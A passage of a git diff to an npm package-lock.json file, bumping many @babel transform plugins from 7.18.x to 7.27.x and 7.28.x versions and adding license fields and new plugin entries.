"https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.18.6.tgz", - "integrity": "sha512-qSF1ihLGO3q+/g48k85tUjD033C29TNTVB2paCwZPVmOsjn9pClvYYrM2VeJpBY2bcNkuny0YUyTNRyRxJ54KA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-member-expression-literals/-/plugin-transform-member-expression-literals-7.27.1.tgz", + "integrity": "sha512-hqoBX4dcZ1I33jCSWcXrP+1Ku7kdqXf1oeah7ooKOIiAdKQ+uqftgCFNOSzA5AMS2XIHEYeGFg4cKRCdpxzVOQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1279,14 +1418,14 @@ } }, "node_modules/@babel/plugin-transform-modules-amd": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.18.6.tgz", - "integrity": "sha512-Pra5aXsmTsOnjM3IajS8rTaLCy++nGM4v3YR4esk5PCsyg9z8NA5oQLwxzMUtDBd8F+UmVza3VxoAaWCbzH1rg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-amd/-/plugin-transform-modules-amd-7.27.1.tgz", + "integrity": "sha512-iCsytMg/N9/oFq6n+gFTvUYDZQOMK5kEdeYxmxt91fcJGycfxVP9CnrxoliM0oumFERba2i8ZtwRUCMhvP1LnA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-module-transforms": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6", - "babel-plugin-dynamic-import-node": "^2.3.3" + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1296,15 +1435,14 @@ } }, "node_modules/@babel/plugin-transform-modules-commonjs": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.18.6.tgz", - "integrity": "sha512-Qfv2ZOWikpvmedXQJDSbxNqy7Xr/j2Y8/KfijM0iJyKkBTmWuvCA1yeH1yDM7NJhBW/2aXxeucLj6i80/LAJ/Q==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-commonjs/-/plugin-transform-modules-commonjs-7.27.1.tgz", + "integrity": "sha512-OJguuwlTYlN0gBZFRPqwOGNWssZjfIUdS7HMYtN8c1KmwpwHFBwTeFZrg9XZa+DFTitWOW5iTAG7tyCUPsCCyw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-module-transforms": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/helper-simple-access": "^7.18.6", - "babel-plugin-dynamic-import-node": "^2.3.3" + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1314,16 +1452,16 @@ } }, "node_modules/@babel/plugin-transform-modules-systemjs": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.18.9.tgz", - "integrity": "sha512-zY/VSIbbqtoRoJKo2cDTewL364jSlZGvn0LKOf9ntbfxOvjfmyrdtEEOAdswOswhZEb8UH3jDkCKHd1sPgsS0A==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-systemjs/-/plugin-transform-modules-systemjs-7.27.1.tgz", + "integrity": "sha512-w5N1XzsRbc0PQStASMksmUeqECuzKuTJer7kFagK8AXgpCMkeDMO5S+aaFb7A51ZYDF7XI34qsTX+fkHiIm5yA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-hoist-variables": "^7.18.6", - "@babel/helper-module-transforms": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-validator-identifier": "^7.18.6", - "babel-plugin-dynamic-import-node": "^2.3.3" + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-validator-identifier": "^7.27.1", + "@babel/traverse": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1333,13 +1471,14 @@ } }, "node_modules/@babel/plugin-transform-modules-umd": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.18.6.tgz", - "integrity": "sha512-dcegErExVeXcRqNtkRU/z8WlBLnvD4MRnHgNs3MytRO1Mn1sHRyhbcpYbVMGclAqOjdW+9cfkdZno9dFdfKLfQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-modules-umd/-/plugin-transform-modules-umd-7.27.1.tgz", + "integrity": "sha512-iQBE/xC5BV1OxJbp6WG7jq9IWiD+xxlZhLrdwpPkTX3ydmXdvoCpyfJN7acaIBZaOqTfr76pgzqBJflNbeRK+w==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-module-transforms": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-module-transforms": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1349,13 +1488,14 @@ } }, "node_modules/@babel/plugin-transform-named-capturing-groups-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.18.6.tgz", - "integrity": "sha512-UmEOGF8XgaIqD74bC8g7iV3RYj8lMf0Bw7NJzvnS9qQhM4mg+1WHKotUIdjxgD2RGrgFLZZPCFPFj3P/kVDYhg==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-named-capturing-groups-regex/-/plugin-transform-named-capturing-groups-regex-7.27.1.tgz", + "integrity": "sha512-SstR5JYy8ddZvD6MhV0tM/j16Qds4mIpJTOd1Yu9J9pJjH93bxHECF7pgtc28XvkzTD6Pxcm/0Z73Hvk7kb3Ng==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1365,12 +1505,13 @@ } }, "node_modules/@babel/plugin-transform-new-target": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.18.6.tgz", - "integrity": "sha512-DjwFA/9Iu3Z+vrAn+8pBUGcjhxKguSMlsFqeCKbhb9BAV756v0krzVK04CRDi/4aqmk8BsHb4a/gFcaA5joXRw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-new-target/-/plugin-transform-new-target-7.27.1.tgz", + "integrity": "sha512-f6PiYeqXQ05lYq3TIfIDu/MtliKUbNwkGApPUvyo6+tc7uaR4cPjPe7DFPr15Uyycg2lZU6btZ575CuQoYh7MQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1379,14 +1520,14 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-object-super": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.18.6.tgz", - "integrity": "sha512-uvGz6zk+pZoS1aTZrOvrbj6Pp/kK2mp45t2B+bTDre2UgsZZ8EZLSJtUg7m/no0zOJUWgFONpB7Zv9W2tSaFlA==", + "node_modules/@babel/plugin-transform-nullish-coalescing-operator": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-nullish-coalescing-operator/-/plugin-transform-nullish-coalescing-operator-7.27.1.tgz", + "integrity": "sha512-aGZh6xMo6q9vq1JGcw58lZ1Z0+i0xB2x0XaauNIUXd6O1xXc3RwoWEBlsTQrY4KQ9Jf0s5rgD6SiNkaUdJegTA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "@babel/helper-replace-supers": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1395,13 +1536,14 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-parameters": { - "version": "7.18.8", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.18.8.tgz", - "integrity": "sha512-ivfbE3X2Ss+Fj8nnXvKJS6sjRG4gzwPMsP+taZC+ZzEGjAYlvENixmt1sZ5Ca6tWls+BlKSGKPJ6OOXvXCbkFg==", + "node_modules/@babel/plugin-transform-numeric-separator": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-numeric-separator/-/plugin-transform-numeric-separator-7.27.1.tgz", + "integrity": "sha512-fdPKAcujuvEChxDBJ5c+0BTaS6revLV7CJL08e4m3de8qJfNIuCc2nc7XJYOjBoTMJeqSmwXJ0ypE14RCjLwaw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1410,13 +1552,18 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-property-literals": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.18.6.tgz", - "integrity": "sha512-cYcs6qlgafTud3PAzrrRNbQtfpQ8+y/+M5tKmksS9+M1ckbH6kzY8MrexEM9mcA6JDsukE19iIRvAyYl463sMg==", + "node_modules/@babel/plugin-transform-object-rest-spread": { + "version": "7.28.0", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-rest-spread/-/plugin-transform-object-rest-spread-7.28.0.tgz", + "integrity": "sha512-9VNGikXxzu5eCiQjdE4IZn8sb9q7Xsk5EXLDBKUYg1e/Tve8/05+KJEtcxGxAgCY5t/BpKQM+JEL/yT4tvgiUA==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-compilation-targets": "^7.27.2", + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/plugin-transform-destructuring": "^7.28.0", + "@babel/plugin-transform-parameters": "^7.27.7", + "@babel/traverse": "^7.28.0" }, "engines": { "node": ">=6.9.0" @@ -1425,14 +1572,15 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-regenerator": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.18.6.tgz", - "integrity": "sha512-poqRI2+qiSdeldcz4wTSTXBRryoq3Gc70ye7m7UD5Ww0nE29IXqMl6r7Nd15WBgRd74vloEMlShtH6CKxVzfmQ==", + "node_modules/@babel/plugin-transform-object-super": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-object-super/-/plugin-transform-object-super-7.27.1.tgz", + "integrity": "sha512-SFy8S9plRPbIcxlJ8A6mT/CxFdJx/c04JEctz4jf8YZaVS2px34j7NXRrlGlHkN/M2gnpL37ZpGRGVFLd3l8Ng==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6", - "regenerator-transform": "^0.15.0" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-replace-supers": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1441,13 +1589,14 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-reserved-words": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.18.6.tgz", - "integrity": "sha512-oX/4MyMoypzHjFrT1CdivfKZ+XvIPMFXwwxHp/r0Ddy2Vuomt4HDFGmft1TAY2yiTKiNSsh3kjBAzcM8kSdsjA==", + "node_modules/@babel/plugin-transform-optional-catch-binding": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-catch-binding/-/plugin-transform-optional-catch-binding-7.27.1.tgz", + "integrity": "sha512-txEAEKzYrHEX4xSZN4kJ+OfKXFVSWKB2ZxM9dpcE3wT7smwkNmXo5ORRlVzMVdJbD+Q8ILTgSD7959uj+3Dm3Q==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1456,17 +1605,150 @@ "@babel/core": "^7.0.0-0" } }, - "node_modules/@babel/plugin-transform-runtime": { - "version": "7.16.7", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.16.7.tgz", - "integrity": "sha512-2FoHiSAWkdq4L06uaDN3rS43i6x28desUVxq+zAFuE6kbWYQeiLPJI5IC7Sg9xKYVcrBKSQkVUfH6aeQYbl9QA==", + "node_modules/@babel/plugin-transform-optional-chaining": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-optional-chaining/-/plugin-transform-optional-chaining-7.27.1.tgz", + "integrity": "sha512-BQmKPPIuc8EkZgNKsv0X4bPmOoayeu4F1YCwx2/CfmDSXDbp7GnzlUH+/ul5VGfRg1AoFPsrIThlEBj2xb4CAg==", + "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-module-imports": "^7.16.7", - "@babel/helper-plugin-utils": "^7.16.7", - "babel-plugin-polyfill-corejs2": "^0.3.0", - "babel-plugin-polyfill-corejs3": "^0.4.0", - "babel-plugin-polyfill-regenerator": "^0.3.0", - "semver": "^6.3.0" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-parameters": { + "version": "7.27.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-parameters/-/plugin-transform-parameters-7.27.7.tgz", + "integrity": "sha512-qBkYTYCb76RRxUM6CcZA5KRu8K4SM8ajzVeUgVdMVO9NN9uI/GaVmBg/WKJJGnNokV9SY8FxNOVWGXzqzUidBg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-methods": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-methods/-/plugin-transform-private-methods-7.27.1.tgz", + "integrity": "sha512-10FVt+X55AjRAYI9BrdISN9/AQWHqldOeZDUoLyif1Kn05a56xVBXb8ZouL8pZ9jem8QpXaOt8TS7RHUIS+GPA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-private-property-in-object": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-private-property-in-object/-/plugin-transform-private-property-in-object-7.27.1.tgz", + "integrity": "sha512-5J+IhqTi1XPa0DXF83jYOaARrX+41gOewWbkPyjMNRDqgOCqdffGh8L3f/Ek5utaEBZExjSAzcyjmV9SSAWObQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-annotate-as-pure": "^7.27.1", + "@babel/helper-create-class-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-property-literals": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-property-literals/-/plugin-transform-property-literals-7.27.1.tgz", + "integrity": "sha512-oThy3BCuCha8kDZ8ZkgOg2exvPYUlprMukKQXI1r1pJ47NCvxfkEy8vK+r/hT9nF0Aa4H1WUPZZjHTFtAhGfmQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regenerator": { + "version": "7.28.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regenerator/-/plugin-transform-regenerator-7.28.1.tgz", + "integrity": "sha512-P0QiV/taaa3kXpLY+sXla5zec4E+4t4Aqc9ggHlfZ7a2cp8/x/Gv08jfwEtn9gnnYIMvHx6aoOZ8XJL8eU71Dg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-regexp-modifiers": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-regexp-modifiers/-/plugin-transform-regexp-modifiers-7.27.1.tgz", + "integrity": "sha512-TtEciroaiODtXvLZv4rmfMhkCv8jx3wgKpL68PuiPh2M4fvz5jhsA7697N1gMvkvr/JTF13DrFYyEbY9U7cVPA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, + "node_modules/@babel/plugin-transform-reserved-words": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-reserved-words/-/plugin-transform-reserved-words-7.27.1.tgz", + "integrity": "sha512-V2ABPHIJX4kC7HegLkYoDpfg9PVmuWy/i6vUM5eGK22bx4YVFD3M5F0QQnWQoDs6AGsUWTVOopBiMFQgHaSkVw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-runtime": { + "version": "7.16.7", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-runtime/-/plugin-transform-runtime-7.16.7.tgz", + "integrity": "sha512-2FoHiSAWkdq4L06uaDN3rS43i6x28desUVxq+zAFuE6kbWYQeiLPJI5IC7Sg9xKYVcrBKSQkVUfH6aeQYbl9QA==", + "dependencies": { + "@babel/helper-module-imports": "^7.16.7", + "@babel/helper-plugin-utils": "^7.16.7", + "babel-plugin-polyfill-corejs2": "^0.3.0", + "babel-plugin-polyfill-corejs3": "^0.4.0", + "babel-plugin-polyfill-regenerator": "^0.3.0", + "semver": "^6.3.0" }, "engines": { "node": ">=6.9.0" @@ -1488,12 +1770,13 @@ } }, "node_modules/@babel/plugin-transform-shorthand-properties": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.18.6.tgz", - "integrity": "sha512-eCLXXJqv8okzg86ywZJbRn19YJHU4XUa55oz2wbHhaQVn/MM+XhukiT7SYqp/7o00dg52Rj51Ny+Ecw4oyoygw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-shorthand-properties/-/plugin-transform-shorthand-properties-7.27.1.tgz", + "integrity": "sha512-N/wH1vcn4oYawbJ13Y/FxcQrWk63jhfNa7jef0ih7PHSIHX2LB7GWE1rkPrOnka9kwMxb6hMl19p7lidA+EHmQ==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1503,13 +1786,14 @@ } }, "node_modules/@babel/plugin-transform-spread": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.18.9.tgz", - "integrity": "sha512-39Q814wyoOPtIB/qGopNIL9xDChOE1pNU0ZY5dO0owhiVt/5kFm4li+/bBtwc7QotG0u5EPzqhZdjMtmqBqyQA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-spread/-/plugin-transform-spread-7.27.1.tgz", + "integrity": "sha512-kpb3HUqaILBJcRFVhFUs6Trdd4mkrzcGXss+6/mxUd273PfbWqSDHRzMT2234gIg2QYfAjvXLSquP1xECSg09Q==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-skip-transparent-expression-wrappers": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1", + "@babel/helper-skip-transparent-expression-wrappers": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1519,12 +1803,13 @@ } }, "node_modules/@babel/plugin-transform-sticky-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.18.6.tgz", - "integrity": "sha512-kfiDrDQ+PBsQDO85yj1icueWMfGfJFKN1KCkndygtu/C9+XUfydLC8Iv5UYJqRwy4zk8EcplRxEOeLyjq1gm6Q==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-sticky-regex/-/plugin-transform-sticky-regex-7.27.1.tgz", + "integrity": "sha512-lhInBO5bi/Kowe2/aLdBAawijx+q1pQzicSgnkB6dUPc1+RC8QmJHKf2OjvU+NZWitguJHEaEmbV6VWEouT58g==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1534,12 +1819,13 @@ } }, "node_modules/@babel/plugin-transform-template-literals": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.18.9.tgz", - "integrity": "sha512-S8cOWfT82gTezpYOiVaGHrCbhlHgKhQt8XH5ES46P2XWmX92yisoZywf5km75wv5sYcXDUCLMmMxOLCtthDgMA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-template-literals/-/plugin-transform-template-literals-7.27.1.tgz", + "integrity": "sha512-fBJKiV7F2DxZUkg5EtHKXQdbsbURW3DZKQUWphDum0uRP6eHGGa/He9mc0mypL680pb+e/lDIthRohlv8NCHkg==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1549,12 +1835,13 @@ } }, "node_modules/@babel/plugin-transform-typeof-symbol": { - "version": "7.18.9", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.18.9.tgz", - "integrity": "sha512-SRfwTtF11G2aemAZWivL7PD+C9z52v9EvMqH9BuYbabyPuKUvSWks3oCg6041pT925L4zVFqaVBeECwsmlguEw==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-typeof-symbol/-/plugin-transform-typeof-symbol-7.27.1.tgz", + "integrity": "sha512-RiSILC+nRJM7FY5srIyc4/fGIwUhyDuuBSdWn4y6yT6gm652DpCHZjIipgn6B7MQ1ITOUnAKWixEUjQRIBIcLw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1564,12 +1851,30 @@ } }, "node_modules/@babel/plugin-transform-unicode-escapes": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.18.10.tgz", - "integrity": "sha512-kKAdAI+YzPgGY/ftStBFXTI1LZFju38rYThnfMykS+IXy8BVx+res7s2fxf1l8I35DV2T97ezo6+SGrXz6B3iQ==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-escapes/-/plugin-transform-unicode-escapes-7.27.1.tgz", + "integrity": "sha512-Ysg4v6AmF26k9vpfFuTZg8HRfVWzsh1kVfowA23y9j/Gu6dOuahdUVhkLqpObp3JIv27MLSii6noRnuKN8H0Mg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0-0" + } + }, + "node_modules/@babel/plugin-transform-unicode-property-regex": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-property-regex/-/plugin-transform-unicode-property-regex-7.27.1.tgz", + "integrity": "sha512-uW20S39PnaTImxp39O5qFlHLS9LJEmANjMG7SxIhap8rCHqu0Ik+tLEPX5DKmHn6CsWQ7j3lix2tFOa5YtL12Q==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-plugin-utils": "^7.18.9" + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1579,13 +1884,14 @@ } }, "node_modules/@babel/plugin-transform-unicode-regex": { - "version": "7.18.6", - "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.18.6.tgz", - "integrity": "sha512-gE7A6Lt7YLnNOL3Pb9BNeZvi+d8l7tcRrG4+pwJjK9hD2xX4mEvjlQW60G9EEmfXVYRPv9VRQcyegIVHCql/AA==", + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-regex/-/plugin-transform-unicode-regex-7.27.1.tgz", + "integrity": "sha512-xvINq24TRojDuyt6JGtHmkVkrfVV3FPT16uytxImLeBZqW3/H52yN+kM1MGuyPkIQxrzKwPHs5U/MP3qKyzkGw==", "dev": true, + "license": "MIT", "dependencies": { - "@babel/helper-create-regexp-features-plugin": "^7.18.6", - "@babel/helper-plugin-utils": "^7.18.6" + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" }, "engines": { "node": ">=6.9.0" @@ -1594,87 +1900,100 @@ "@babel/core": "^7.0.0-0" } }, + "node_modules/@babel/plugin-transform-unicode-sets-regex": { + "version": "7.27.1", + "resolved": "https://registry.npmjs.org/@babel/plugin-transform-unicode-sets-regex/-/plugin-transform-unicode-sets-regex-7.27.1.tgz", + "integrity": "sha512-EtkOujbc4cgvb0mlpQefi4NTPBzhSIevblFevACNLUspmrALgmEBdL/XfnyyITfd8fKBZrZys92zOWcik7j9Tw==", + "dev": true, + "license": "MIT", + "dependencies": { + "@babel/helper-create-regexp-features-plugin": "^7.27.1", + "@babel/helper-plugin-utils": "^7.27.1" + }, + "engines": { + "node": ">=6.9.0" + }, + "peerDependencies": { + "@babel/core": "^7.0.0" + } + }, "node_modules/@babel/preset-env": { - "version": "7.18.10", - "resolved": "https://registry.npmjs.org/@babel/preset-env/-/preset-env-7.18.10.tgz", - "integrity": "sha512-wVxs1yjFdW3Z/XkNfXKoblxoHgbtUF7/l3PvvP4m02Qz9TZ6uZGxRVYjSQeR87oQmHco9zWitW5J82DJ7sCjvA==", - "dev": true, - "dependencies": { - "@babel/compat-data": "^7.18.8", - "@babel/helper-compilation-targets": "^7.18.9", - "@babel/helper-plugin-utils": "^7.18.9", - "@babel/helper-validator-option": "^7.18.6", - "@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression": "^7.18.6", - "@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining": "^7.18.9", - "@babel/plugin-proposal-async-generator-functions": "^7.18.10", - "@babel/plugin-proposal-class-properties": "^7.18.6", - "@babel/plugin-proposal-class-static-block": "^7.18.6", - "@babel/plugin-proposal-dynamic-import": "^7.18.6", - "@babel/plugin-proposal-export-namespace-from": "^7.18.9", - "@babel/plugin-proposal-json-strings": "^7.18.6", - "@babel/plugin-proposal-logical-assignment-operators": "^7.18.9", - "@babel/plugin-proposal-nullish-coalescing-operator": "^7.18.6", - "@babel/plugin-proposal-numeric-separator": "^7.18.6", - "@babel/plugin-proposal-object-rest-spread": "^7.18.9", - "@babel/plugin-proposal-optional-catch-binding": "^7.18.6", - "@babel/plugin-proposal-optional-chaining": "^7.18.9", - "@babel/plugin-proposal-private-methods": "^7.18.6", - "@babel/plugin-proposal-private-property-in-object": "^7.18.6", - "@babel/plugin-proposal-unicode-property-regex": "^7.18.6", - "@babel/plugin-syntax-async-generators": "^7.8.4", - "@babel/plugin-syntax-class-properties": "^7.12.13", - "@babel/plugin-syntax-class-static-block": "^7.14.5", - "@babel/plugin-syntax-dynamic-import": "^7.8.3", - "@babel/plugin-syntax-export-namespace-from": "^7.8.3", - "@babel/plugin-syntax-import-assertions": "^7.18.6", - "@babel/plugin-syntax-json-strings": "^7.8.3", - "@babel/plugin-syntax-logical-assignment-operators": "^7.10.4", - "@babel/plugin-syntax-nullish-coalescing-operator": "^7.8.3", - "@babel/plugin-syntax-numeric-separator": "^7.10.4", - "@babel/plugin-syntax-object-rest-spread": "^7.8.3", - "@babel/plugin-syntax-optional-catch-binding": "^7.8.3", - "@babel/plugin-syntax-optional-chaining": "^7.8.3", - "@babel/plugin-syntax-private-property-in-object": "^7.14.5", - 